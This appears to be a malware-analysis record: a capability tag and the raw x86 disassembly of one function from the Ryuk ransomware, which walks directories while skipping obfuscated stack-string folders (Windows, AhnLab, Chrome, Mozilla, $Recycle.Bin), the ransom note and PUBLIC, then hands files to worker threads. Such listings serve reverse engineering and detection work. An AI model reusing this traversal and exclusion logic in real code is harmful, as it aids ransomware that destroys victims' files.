Function at 0x300036c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x71c
push ebx
push esi
lea eax, [ebp - 0x330]
mov dword [ebp - 0x68], edx
push edi
mov ebx, ecx
mov edx, 0x3001a80c
push eax
mov dword [ebp - 4], ebx
call fcn.30001a70
push eax
call dword [0x300266f4]
mov edi, eax
mov dword [ebp - 8], edi
test ebx, ebx
jne 0x300036f9
xor esi, esi
jmp 0x3000370d
cmp word [ebx + 2], 0
mov esi, 1
je 0x3000370d
inc esi
cmp word [ebx + esi*2], 0
jne 0x30003705
mov edx, 0x3001a818
mov ecx, ebx
call fcn.300018c0
mov ecx, eax
test ecx, ecx
je 0x30003738
cmp word [ecx + 2], 0
mov eax, 1
je 0x30003738
nop dword [eax + eax]
inc eax
cmp word [ecx + eax*2], 0
jne 0x30003730
sub esi, eax
xor eax, eax
mov word [ebx + esi*2], ax
cmp edi, 0xffffffff
je 0x30003e6d
lea esi, [eax + 0x69]
nop dword [eax]
cmp word [ebp - 0x302], 0
mov eax, 1
je 0x30003771
nop
inc eax
cmp word [ebp + eax*2 - 0x304], 0
jne 0x30003760
cmp eax, 1
jne 0x300037b7
lea ecx, [ebp - 0x304]
xor edx, edx
call fcn.30001a50
test eax, eax
jle 0x300037b7
cmp word [ebp + edx*2 - 0x304], 0x2e
je 0x30003794
inc edx
cmp edx, eax
jl 0x30003782
jmp 0x300037b7
lea eax, [ebp - 0x304]
lea eax, [eax + edx*2]
test eax, eax
je 0x300037b7
lea eax, [ebp - 0x330]
push eax
push edi
call dword [0x30380990]
test eax, eax
je 0x30003e6d
cmp word [ebp - 0x302], 0
mov eax, 1
je 0x3000380b
nop word [eax + eax]
inc eax
cmp word [ebp + eax*2 - 0x304], 0
jne 0x300037d0
cmp eax, 2
jne 0x3000380b
mov edx, 0x3001a820
lea ecx, [ebp - 0x304]
call fcn.300018c0
test eax, eax
je 0x3000380b
lea eax, [ebp - 0x330]
push eax
push edi
call dword [0x30380990]
test eax, eax
je 0x30003e6d
xor eax, eax
mov dword [ebp - 0x1c], 0x690057
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0x64006e
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x14], 0x77006f
lea ecx, [ebp - 0x304]
mov dword [ebp - 0x10], 0x73
mov word [ebp - 0xc], ax
mov dword [ebp - 0x30], 0x680041
mov dword [ebp - 0x2c], 0x4c006e
mov dword [ebp - 0x28], 0x620061
mov word [ebp - 0x24], ax
mov dword [ebp - 0x22], eax
mov word [ebp - 0x1e], ax
mov dword [ebp - 0x44], 0x680043
mov dword [ebp - 0x40], 0x6f0072
mov dword [ebp - 0x3c], 0x65006d
mov word [ebp - 0x38], ax
mov dword [ebp - 0x36], eax
mov word [ebp - 0x32], ax
mov dword [ebp - 0x88], 0x6f004d
mov dword [ebp - 0x84], 0x69007a
mov dword [ebp - 0x80], 0x6c006c
mov dword [ebp - 0x7c], 0x61
movq qword [ebp - 0x78], xmm0
mov dword [ebp - 0x70], eax
mov word [ebp - 0x6c], ax
mov dword [ebp - 0x64], 0x520024
mov dword [ebp - 0x60], 0x630065
mov dword [ebp - 0x5c], 0x630079
mov dword [ebp - 0x58], 0x65006c
mov dword [ebp - 0x54], 0x42002e
mov dword [ebp - 0x50], 0x6e0069
mov word [ebp - 0x4c], ax
mov dword [ebp - 0x4a], eax
mov dword [ebp - 0xa8], 0x490057
mov dword [ebp - 0xa4], 0x44004e
mov dword [ebp - 0xa0], 0x57004f
mov dword [ebp - 0x9c], 0x53
movq qword [ebp - 0x98], xmm0
mov dword [ebp - 0x90], eax
mov word [ebp - 0x8c], ax
call fcn.300018c0
test eax, eax
jne 0x30003982
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x304]
call fcn.300018c0
test eax, eax
jne 0x30003982
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x304]
call fcn.300018c0
test eax, eax
jne 0x30003982
lea edx, [ebp - 0x88]
lea ecx, [ebp - 0x304]
call fcn.300018c0
test eax, eax
jne 0x30003982
lea edx, [ebp - 0x64]
lea ecx, [ebp - 0x304]
call fcn.300018c0
test eax, eax
jne 0x30003982
lea edx, [ebp - 0xa8]
lea ecx, [ebp - 0x304]
call fcn.300018c0
test eax, eax
je 0x30003bbd
lea eax, [ebp - 0x330]
push eax
push edi
call dword [0x30380990]
test eax, eax
je 0x30003b33
nop dword [eax + eax]
mov eax, 1
test si, si
je 0x300039b9
nop word [eax + eax]
inc eax
cmp word [ebp + eax*2 - 0x1c], 0
jne 0x300039b0
lea ecx, [ebp - 0x304]
xor edx, edx
lea edi, [eax - 1]
xor esi, esi
call fcn.30001a50
mov ebx, eax
test ebx, ebx
jle 0x30003a0a
mov cx, word [ebp + esi*2 - 0x304]
cmp cx, word [ebp + edx*2 - 0x1c]
jne 0x300039ee
cmp edx, edi
je 0x300039f7
xor eax, eax
cmp edx, edi
cmovge edx, eax
inc edx
jmp 0x300039f0
xor edx, edx
inc esi
cmp esi, ebx
jl 0x300039d1
jmp 0x30003a0a
sub esi, edi
lea eax, [ebp - 0x304]
lea eax, [eax + esi*2]
test eax, eax
jne 0x30003b15
mov edi, 0x68
mov eax, 1
test di, di
je 0x30003a29
nop dword [eax]
inc eax
cmp word [ebp + eax*2 - 0x30], 0
jne 0x30003a20
xor ecx, ecx
lea esi, [eax - 1]
xor edx, edx
test ebx, ebx
jle 0x30003a79
nop dword [eax]
nop dword [eax + eax]
mov ax, word [ebp + edx*2 - 0x304]
cmp ax, word [ebp + ecx*2 - 0x30]
jne 0x30003a5d
cmp ecx, esi
je 0x30003a66
xor eax, eax
cmp ecx, esi
cmovge ecx, eax
inc ecx
jmp 0x30003a5f
xor ecx, ecx
inc edx
cmp edx, ebx
jl 0x30003a40
jmp 0x30003a79
sub edx, esi
lea eax, [ebp - 0x304]
lea eax, [eax + edx*2]
test eax, eax
jne 0x30003b15
mov eax, 1
test di, di
je 0x30003a8c
inc eax
cmp word [ebp + eax*2 - 0x44], 0
jne 0x30003a83
xor ecx, ecx
lea esi, [eax - 1]
xor edx, edx
test ebx, ebx
jle 0x30003ad5
nop word [eax + eax]
mov ax, word [ebp + edx*2 - 0x304]
cmp ax, word [ebp + ecx*2 - 0x44]
jne 0x30003abd
cmp ecx, esi
je 0x30003ac6
xor eax, eax
cmp ecx, esi
cmovge ecx, eax
inc ecx
jmp 0x30003abf
xor ecx, ecx
inc edx
cmp edx, ebx
jl 0x30003aa0
jmp 0x30003ad5
sub edx, esi
lea eax, [ebp - 0x304]
lea eax, [eax + edx*2]
test eax, eax
jne 0x30003b15
lea edx, [ebp - 0x88]
lea ecx, [ebp - 0x304]
call fcn.300018c0
test eax, eax
jne 0x30003b15
lea edx, [ebp - 0x64]
lea ecx, [ebp - 0x304]
call fcn.300018c0
test eax, eax
jne 0x30003b15
lea edx, [ebp - 0xa8]
lea ecx, [ebp - 0x304]
call fcn.300018c0
test eax, eax
je 0x30003bbd
mov edi, dword [ebp - 8]
lea eax, [ebp - 0x330]
push eax
push edi
call dword [0x30380990]
mov esi, 0x69
test eax, eax
jne 0x300039a0
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x304]
call fcn.300018c0
test eax, eax
jne 0x30003e6d
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x304]
call fcn.300018c0
test eax, eax
jne 0x30003e6d
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x304]
call fcn.300018c0
test eax, eax
jne 0x30003e6d
lea edx, [ebp - 0x88]
lea ecx, [ebp - 0x304]
call fcn.300018c0
test eax, eax
jne 0x30003e6d
lea edx, [ebp - 0x64]
lea ecx, [ebp - 0x304]
call fcn.300018c0
test eax, eax
jne 0x30003e6d
lea edx, [ebp - 0xa8]
lea ecx, [ebp - 0x304]
call fcn.300018c0
test eax, eax
jne 0x30003e6d
test byte [ebp - 0x330], 0x10
je 0x30003c31
mov ebx, dword [ebp - 4]
mov ecx, ebx
call fcn.30002490
push dword [ebp + 0xc]
lea edx, [ebp - 0x304]
mov ecx, ebx
push dword [ebp + 8]
call fcn.30001a70
mov edx, dword [ebp - 0x68]
mov ecx, eax
call fcn.300036c0
add esp, 8
mov ecx, ebx
call fcn.30002490
cmp word [ebp - 0x302], 0
mov edx, 1
je 0x30003c1c
nop word [eax + eax]
inc edx
cmp word [ebp + edx*2 - 0x304], 0
jne 0x30003c10
mov ecx, ebx
call fcn.30001a50
sub eax, edx
xor ecx, ecx
mov word [ebx + eax*2 - 2], cx
jmp 0x30003e4f
xor eax, eax
lea edi, [ebp - 0x718]
mov ecx, 0xfa
rep stosd dword es:[edi], eax
lea ecx, [eax + 1]
cmp word [ebp - 0x302], ax
je 0x30003c5f
nop dword [eax]
inc ecx
cmp word [ebp + ecx*2 - 0x304], ax
jne 0x30003c50
test ecx, ecx
je 0x30003c78
test ecx, ecx
je 0x30003c78
shr ecx, 1
lea esi, [ebp - 0x304]
lea edi, [ebp - 0x718]
rep movsd dword es:[edi], dword [esi]
adc ecx, ecx
rep movsw word es:[edi], word [esi]
mov edx, str.RyukReadMe.txt
lea ecx, [ebp - 0x718]
call fcn.300018c0
test eax, eax
jne 0x30003e4f
mov edx, 0x3001a5bc
lea ecx, [ebp - 0x718]
call fcn.300018c0
test eax, eax
jne 0x30003e4f
mov edx, str.PUBLIC
lea ecx, [ebp - 0x718]
call fcn.300018c0
test eax, eax
jne 0x30003e4f
xor edi, edi
mov esi, 0x300236a8
xor ebx, ebx
nop dword [eax]
xorps xmm0, xmm0
mov word [ebp - 0xac], 0
movups xmmword [ebp - 0xdc], xmm0
xor edx, edx
movups xmmword [ebp - 0xcc], xmm0
movups xmmword [ebp - 0xbc], xmm0
test esi, esi
jne 0x30003cfb
xor eax, eax
jmp 0x30003d0f
cmp word [esi + 2], 0
mov eax, 1
je 0x30003d0f
inc eax
cmp word [esi + eax*2], 0
jne 0x30003d07
cmp edx, eax
jge 0x30003d34
lea eax, [edi + edx]
movzx ecx, word [eax*2 + 0x300236a8]
lea eax, [ecx - 0x61]
cmp eax, 0x19
ja 0x30003d29
add ecx, 0xffffffe0
mov word [ebp + edx*2 - 0xdc], cx
inc edx
jmp 0x30003cf3
mov edx, esi
lea ecx, [ebp - 0x718]
call fcn.300018c0
test eax, eax
jne 0x30003e4f
lea edx, [ebp - 0xdc]
lea ecx, [ebp - 0x718]
call fcn.300018c0
test eax, eax
jne 0x30003e4f
cmp ebx, 0xc8
je 0x30003d84
add ebx, 0x32
add edi, 0x19
add esi, 0x32
cmp ebx, 0xfa
jb 0x30003cd0
jmp 0x30003e4f
push 4
push 0x1000
push 0x2710
push 0
call dword [0x30025408]
mov edi, eax
test edi, edi
je 0x30003e4f
mov edx, dword [ebp - 4]
mov ecx, edi
mov dword [edi], 0
call fcn.30001940
lea edx, [ebp - 0x304]
mov ecx, edi
call fcn.30001a70
nop
xor ecx, ecx
mov eax, 0x30029dc0
cmp dword [eax], 0
je 0x30003ddb
add eax, 0x36c4
inc ecx
cmp eax, 0x30381928
jl 0x30003dc7
jmp 0x30003df5
imul eax, ecx, 0x36c4
lea esi, [eax + 0x30026700]
mov dword [eax + 0x30029dc0], 1
test esi, esi
jne 0x30003e08
inc dword [0x3002643c]
push 0x96
call dword [0x303809a0]
jmp 0x30003dc0
mov eax, dword [ebp + 8]
mov edx, edi
mov dword [esi + 0x36b0], eax
mov ecx, esi
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x36b4], eax
mov dword [esi + 0x36b8], 1
call fcn.30001940
push 0
push 0
push esi
push 0x30004a20
push 0
push 0
call dword [0x3037e27c]
push 0x8000
push 0
push edi
call dword [0x30026450]
mov edi, dword [ebp - 8]
lea eax, [ebp - 0x330]
push eax
push edi
call dword [0x30380990]
mov esi, 0x69
test eax, eax
jne 0x30003750
push edi
call dword [0x30025484]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret